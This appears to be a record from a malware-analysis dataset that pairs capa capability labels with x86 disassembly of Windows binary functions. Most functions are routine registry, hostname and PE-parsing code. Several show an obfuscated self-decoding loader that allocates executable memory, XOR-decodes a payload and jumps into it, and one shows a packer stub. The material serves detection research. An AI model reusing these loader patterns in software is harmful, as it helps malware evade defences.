joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47d4b8
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x47d621
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403b84
mov eax, dword [ebp - 0x10]
call fcn.0047d248
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x47d50a
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00403fb4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0047d72c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x47d5df
xor eax, eax
push ebp
push 0x47d5d8
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.0047d390
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.0047d630
test al, al
je 0x47d5b6
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00403bd4
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x47d5b6
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403f30
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x47d5b0
mov eax, dword [ebp - 0x14]
call fcn.00403f30
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00403ca4
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.0047d4b8
dec ebx
cmp ebx, 0xffffffff
jne 0x47d569
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47d5df
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.0047d390
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x10]
call fcn.00403f30
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.0047d37c
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47d628
lea eax, [ebp - 0x3c]
call fcn.00403aec
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403b10
ret
Function at 0x47d5df
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x47d621
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403b84
mov eax, dword [ebp - 0x10]
call fcn.0047d248
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x47d50a
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00403fb4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0047d72c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x47d5df
xor eax, eax
push ebp
push 0x47d5d8
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.0047d390
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.0047d630
test al, al
je 0x47d5b6
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00403bd4
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x47d5b6
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403f30
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x47d5b0
mov eax, dword [ebp - 0x14]
call fcn.00403f30
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00403ca4
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.0047d4b8
dec ebx
cmp ebx, 0xffffffff
jne 0x47d569
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47d5df
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.0047d390
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x10]
call fcn.00403f30
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.0047d37c
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47d628
lea eax, [ebp - 0x3c]
call fcn.00403aec
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403b10
ret

Function at 0x47d630
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.00402af8
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x49b994]
cmp byte [edx + 8], 0
je 0x47d694
mov edx, dword [0x49b98c]
cmp dword [edx], 2
jne 0x47d694
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret
Function at 0x47d6c4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0047d25c
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00403f30
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x47d722
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x49b7c0]
mov dl, 1
mov eax, dword [0x47d180]
call fcn.0040a5e8
call fcn.00403538
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x480e88
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xffffffc0
mov ebx, edx
push 0x40
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname
mov edx, ebx
mov eax, esp
call fcn.00408608
add esp, 0x40
pop ebx
ret

Function at 0x480ea8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe28
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1d8], edx
xor eax, eax
push ebp
push 0x480f59
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov dl, 1
mov eax, dword [0x40d9b0]
call fcn.00402db0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x40]
push 0x40
lea eax, [ebp - 0x44]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x44]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x480f40
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x480f34
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x1d8]
call fcn.00403ca4
mov edx, dword [ebp - 0x1d8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x480f11
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480f60
lea eax, [ebp - 0x1d8]
call fcn.00403aec
ret
Function at 0x1000ebf3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000ec32
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000ec32
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000ec32
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000ec32
cmp dword [ecx + 0x74], 0xe
jbe 0x1000ec32
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100118af
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001194c
push ebx
push esi
call fcn.10011878
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001180c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100118f9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001194b
push edi
push eax
call fcn.1001286a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10011919
call fcn.10010354
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001194a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001180c
add esp, 0x20
test eax, eax
jne 0x10011938
push edi
call fcn.10010354
jmp 0x10011940
push ebx
call fcn.10010354
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10011bb9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019888
push 0x10019880
push str.FlsAlloc
push 0x1f
call fcn.10011ad5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011bed
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
jmp 0x10011bf3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10011c37
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019898
push 0x10019890
push str.FlsGetValue
push 0x21
call fcn.10011ad5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011c6e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10011c76
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100198a0
push 0x10019898
push str.FlsSetValue
push 0x22
call fcn.10011ad5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011cb0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10017330
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001735d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001735d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405a3d
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.shell32.dll_ShellExecuteExW]
ret 4

Function at 0x405b23
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x405b32
pop dword [ebp - 0x20]
mov eax, 0x832f0c97
sub eax, 0x82eeb165
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x2535672a
sub dword [ebp - 0x30], 0xd6e321df
mov dword [ebp - 0x2c], 0xf8a5e2c3
add dword [ebp - 0x2c], 0x398d6982
mov dword [ebp - 0x28], 0x62074a29
sub dword [ebp - 0x28], 0x15bb05fb
mov dword [ebp - 0x24], 0x8e36e651
sub dword [ebp - 0x24], 0x8e36e651
lea eax, [ebp - 0x30]
push eax
mov eax, 0x94d6b755
sub eax, 0x949636dd
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xdaebf94e
add dword [ebp - 0x30], 0x99867008
mov dword [ebp - 0x2c], 0xf6b749a5
add dword [ebp - 0x2c], 0x4ab517d0
mov dword [ebp - 0x28], 0x9a9b4bf3
sub dword [ebp - 0x28], 0x372bdf87
mov dword [ebp - 0x24], 0x3e5cbcbd
add dword [ebp - 0x24], 0xc1a34343
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3a630
push 0
call eax
mov ecx, 0xda2f923
sub ecx, 0xda2a3a1
mov ebx, eax
mov esi, 0x9d8fded0
add esi, 0x62b53530
add esi, dword [ebp - 0x20]
mov edi, 0x89c6dfb5
mov dword [ebp - 8], 0x52477a47
mov edx, dword [esi]
xor dword [ebp - 0x1c], 0x5680dd29
sub edx, edi
sub dword [ebp - 0x18], 0x5e7d59e3
mov dword [ebx], edx
xor dword [ebp - 0x14], ecx
add ebx, 0x68171e00
sub ebx, 0x68171dfc
add esi, 4
loop 0x405c49
add eax, 0x7b4c3cd1
sub eax, 0x7b4af3f6
mov ebx, eax
add eax, 5
mov ecx, 0xcd762ac4
add ecx, 0x32c9d53c
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x405dee
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.00406411
push esi
call fcn.00405d91
mov edi, eax
test edi, edi
jne 0x405e0f
xor eax, eax
jmp 0x405e67
push edi
call fcn.004066c0
test byte [0x434f1c], 0x80
je 0x405e2c
mov ax, word [edi]
test ax, ax
je 0x405e0b
cmp ax, 0x5c
je 0x405e0b
sub edi, esi
sar edi, 1
jmp 0x405e46
call fcn.0040676f
test eax, eax
je 0x405e40
test byte [eax], 0x10
je 0x405e0b
push esi
call fcn.00405d32
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405e32
call fcn.00405ce6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ee2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f01
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x401443
pop dword [ebp - 0x44]
mov eax, 0x8db3c718
sub eax, 0x8d73b2d5
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x38b54d4
sub dword [ebp - 0x54], 0xb5390f89
mov dword [ebp - 0x50], 0xf8956fc
add dword [ebp - 0x50], 0x22a9f549
mov dword [ebp - 0x4c], 0xa62802a5
add dword [ebp - 0x4c], 0xa6244189
mov dword [ebp - 0x48], 0x8e43f9ad
sub dword [ebp - 0x48], 0x8e43f9ad
lea eax, [ebp - 0x54]
push eax
mov eax, 0x892eb418
add eax, 0x7711ccec
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x7eb4fd1e
add dword [ebp - 0x54], 0xf5bd6c38
mov dword [ebp - 0x50], 0x3ee7d486
sub dword [ebp - 0x50], 0xfd7b7311
mov dword [ebp - 0x4c], 0x5ae30ef8
add dword [ebp - 0x4c], 0x88c5d74
mov dword [ebp - 0x48], 0xcf283e91
add dword [ebp - 0x48], 0x30d7c16f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xdfac1936
add eax, 0x209467ca
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3c402
push 0
call eax
mov ecx, 0xc0760fa3
add ecx, 0x3f8a4834
mov esi, eax
mov edi, 0xe3f4f516
add edi, 0x1c51eeea
add edi, dword [ebp - 0x44]
mov edx, 0x3cf223f6
xor dword [ebp - 0x3c], edx
mov ebx, dword [edi]
xor dword [ebp - 0x34], ebx
add ebx, edx
sub dword [ebp - 0x10], 0x5f2fd1ae
mov dword [esi], ebx
add dword [ebp - 0x18], eax
add esi, 4
add edi, 0x465a4ada
add edi, 0xb9a5b52a
loop 0x40155f
add eax, 0x5e08685b
add eax, 0xa1f8e9d4
xor ebx, ebx
add ebx, eax
add eax, 0xfdb9b45e
sub eax, 0xfdb9b459
mov ecx, 0xdd286488
sub ecx, 0xdce86488
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4086ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4086d9
pop dword [ebp - 0x1c]
mov eax, 0xc4d9a3e4
sub eax, 0xc4991d0b
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfe1bb71d
sub dword [ebp - 0x2c], 0xafc971d2
mov dword [ebp - 0x28], 0xdc26fa65
sub dword [ebp - 0x28], 0xa9f3ae20
mov dword [ebp - 0x24], 0x7e4fe2
add dword [ebp - 0x24], 0x4bcdf44c
mov dword [ebp - 0x20], 0x30d613fd
add dword [ebp - 0x20], 0xcf29ec03
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x19bdcdfa
add eax, 0xe683025a
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x5b565bab
sub dword [ebp - 0x2c], 0xe6e3f255
mov dword [ebp - 0x28], 0x467ae845
sub dword [ebp - 0x28], 0x50e86d0
mov dword [ebp - 0x24], 0x28720f
add dword [ebp - 0x24], 0x6346fa5d
mov dword [ebp - 0x20], 0xafddea01
add dword [ebp - 0x20], 0x502215ff
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x36eb30fc
sub eax, 0x36aa60b0
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a5f5
push 0
call eax
mov ecx, 0x104aa455
add ecx, 0xefb5a714
xor edx, edx
add edx, eax
mov esi, 0x50bcd80a
add esi, 0xaf84d7f6
add esi, dword [ebp - 0x1c]
mov ebx, 0x38c7453b
add ebx, 0xcf418736
add dword [ebp - 0xc], 0xd5378483
mov edi, dword [esi]
xor edi, ebx
sub dword [ebp - 4], eax
mov dword [edx], edi
add dword [ebp - 0x14], edi
add edx, 4
add esi, 4
loop 0x4087fd
add eax, 0xdccd62d7
add eax, 0x2333bda0
mov ebx, eax
add eax, 5
mov ecx, 0xc8666be
sub ecx, 0xc4666be
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x4a3a43
Capabilities:
Encode data using xor

Disassembly:
xchg ebp, eax
aas
jle 0x4a3abd
jb 0x4a3a98
sub al, 0x53
mov word [edx], fs
mov al, byte [0xe434b077]
test al, dh
mov byte [0xf4305c98], al
push eax
cmp al, 0xae
jle 0x4a3abc
arpl word [esi], bp
invalid
lodsd eax, dword [esi]
push ss
pop esp
push esi
sbb al, al
imul esi, dword [ecx], 0x72
rcl dword [0xf735bbbc], 0xcb
add ecx, dword [ebx + 0x44]
or edx, dword [edi]
cwde
arpl word [ebx - 0x6a], cx
invalid
cmp eax, 0x149045e9
shl byte [ecx + eax*8 - 0x599bb9ea], cl
mov bh, 0xab
loopne 0x4a3a5e
jmp 0xd25ecb07
pushal
adc eax, 0x22d04556
bound esp, qword [ebp + 0x1a27812b]
adc eax, 0x50e53125
ljmp 0x7857

Function at 0x543007
Capabilities:
Encode data using xor

Disassembly:
push 0x15d2a08a
mov ebx, dword [edx + 0x44]
pushfd
pop esi
add eax, 0x2426f044
cmc
pop ebx
shl byte [esi - 0x12ddde38], cl
or dword [0xa340ab57], ebp
adc esp, dword [ecx - 0x78]
movsd dword es:[edi], dword [esi]
xor eax, ebp
dec ebp
push ebp
xor byte [ecx + 0x406964ae], bl
scasb al, byte es:[edi]
imul eax, dword fs:[eax - 0x44], 0x301abdfc
scasb al, byte es:[edi]
imul eax, dword fs:[eax - 0x44], 0x301abdfc
sbb byte [ebx - 0xe], bl
rcr dword [esi - 0x48c6cf2b], cl
or esp, eax
clc
cmp dword [0xf0620d], esi
sti
push edi
stc
jnp 0x542fdf
jecxz 0x543063
adc al, byte [eax - 0x53ae3441]
xor esp, dword [eax]
pop esi
mov al, cl
or byte [edi], cl
xor bl, byte [ecx - 0x23]
adc byte [ecx + 0x79], bl
dec edi
jmp 0xee10dcd6
pop ebx
or byte [ebp + 0x710ff28d], ch
inc edx
mov esp, 0xd0807dd0
add byte [eax - 0x14], 0xfd
xor dword [esi], ebp
out 0x5b, al
dec ebx
ljmp 0xf043

Function at 0x580287
Capabilities:
Encode data using xor

Disassembly:
cmp edx, ebp
xchg edx, eax
push ebp
pop eax
pop esp
adc eax, 0x97e2d104
cmpsd dword [esi], dword es:[edi]
xor dword [esi - 0x59aa056d], 0xf589b9d6
cdq
invalid

Function at 0x583e63
Capabilities:
Encode data using xor

Disassembly:
and eax, 0x3403ef0
cld
push ecx
cld
dec ebp
pop ecx
xchg edi, eax
call 0x3d0ceda5
mov ch, 0xf1
jno 0x583edf
in al, 0xc5
mov eax, dword [0x5ed1110e]
adc ecx, edx
pop esi
enter 0x3740, 0xffffffffffffffaa
xor byte [edi], ah
pop esp
or dword [ebp + 0x347d1c81], ebp
pushal
test byte [0xa6fb1742], al
movsb byte es:[edi], byte [esi]
mov edi, 0xa493bea6
wait
mov ah, 0xb7
jae 0x583e7b
mov ah, 0x16
aam 0x29
add esp, dword [eax]
and byte [ebx + 0x4b75e20], cl
xchg edi, eax
fist dword [esi]
mov ah, 0x93
sbb byte [edi - 0x34baae2c], dl
xchg esp, eax
retf
aam 0x51

Function at 0x58e80b
Capabilities:
Encode data using xor

Disassembly:
inc edx
dec edx
push ss
add al, 0xca
mov ch, 0xb1
cmpsb byte [esi], byte es:[edi]
invalid

Function at 0x5cf33f
Capabilities:
Encode data using xor

Disassembly:
or ebx, esi
pop esi
sti
scasd eax, dword es:[edi]
sbb dword [ebx + esi*2 + 0x37836e0f], esp
cmp al, 0xa9
mov edx, 0xb5a2d1c3
xchg byte [edx - 0x13], ah
mov ebp, 0xf2a1044
pop es
cmpsb byte [esi], byte es:[edi]
js 0x5cf33d
test al, 0xed
sbb al, 0x8f
pop eax
mov edi, 0x37f365c8
sti
fucompp
dec ebx
xchg edi, eax
invalid
Function at 0x646337
Capabilities:
Encode data using xor

Disassembly:
sti
idiv dword [ebx + 0x56]
and dh, byte [eax + 0x62]
sbb esp, dword [esi + ecx*4]
and al, 0x8e
imul ebx, ecx, 0x4a
dec edx
xor byte [edi + 0x5d], 0xbf
and dword [eax - 0x38], ebx
out dx, eax
mov al, byte [0x2d31090b]
stc
xor al, 0xc1
shl dword [0x87566bc5], 1
popal
mov dword [esi], ecx
mov dl, 0x79
push 0xffffffffffffffb0
pop ebx
lahf
dec ecx
cmp edi, dword [ecx - 0x71]
js 0x646343
lcall 0xaeec, 0xc2a7a791
sub dword [ebx + 0xa], esp
ret
Function at 0x3489a1a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x3489a1b3
pop dword [ebp - 0x50]
mov eax, 0xb177be2a
sub eax, 0x7cee1c77
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xf735f59c
sub dword [ebp - 0x60], 0xa8e3b051
mov dword [ebp - 0x5c], 0x7dae0fbc
sub dword [ebp - 0x5c], 0x4b7ac377
mov dword [ebp - 0x58], 0xd5996328
add dword [ebp - 0x58], 0x76b2e106
mov dword [ebp - 0x54], 0xfc9bce94
sub dword [ebp - 0x54], 0xfc9bce94
lea eax, [ebp - 0x60]
push eax
mov eax, 0xc2e94455
sub eax, 0x8e60332d
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x230b3bf1
sub dword [ebp - 0x60], 0xae98d29b
mov dword [ebp - 0x5c], 0x31817934
sub dword [ebp - 0x5c], 0xf01517bf
mov dword [ebp - 0x58], 0xd5404b9d
sub dword [ebp - 0x58], 0x71d0df31
mov dword [ebp - 0x54], 0x3415f031
add dword [ebp - 0x54], 0xcbea0fcf
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xd14f1370
sub eax, 0x9cc601a4
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x396f6
push 0
call eax
mov ecx, 0xafcc1b96
add ecx, 0x503425e6
mov edx, eax
mov ebx, 0x9b2c3377
add ebx, 0x9961ec89
add ebx, dword [ebp - 0x50]
mov edi, 0x64c18435
add dword [ebp - 0x48], 0xda4d077c
mov esi, dword [ebx]
xor dword [ebp - 0x4c], eax
sub esi, edi
mov dword [ebp - 0x18], 0xc5e7d20d
mov dword [edx], esi
add edx, 0x34c69080
add edx, 0xcb396f84
add ebx, 0x814a9a87
sub ebx, 0x814a9a83
loop 0x3489a2cf
add eax, 0xef1b0096
add eax, 0x10e5f82d
mov ebx, eax
add eax, 5
mov ecx, 0x1df155e6
sub ecx, 0xe96855e6
add ecx, dword [ebp - 0x50]
call ebx
leave
ret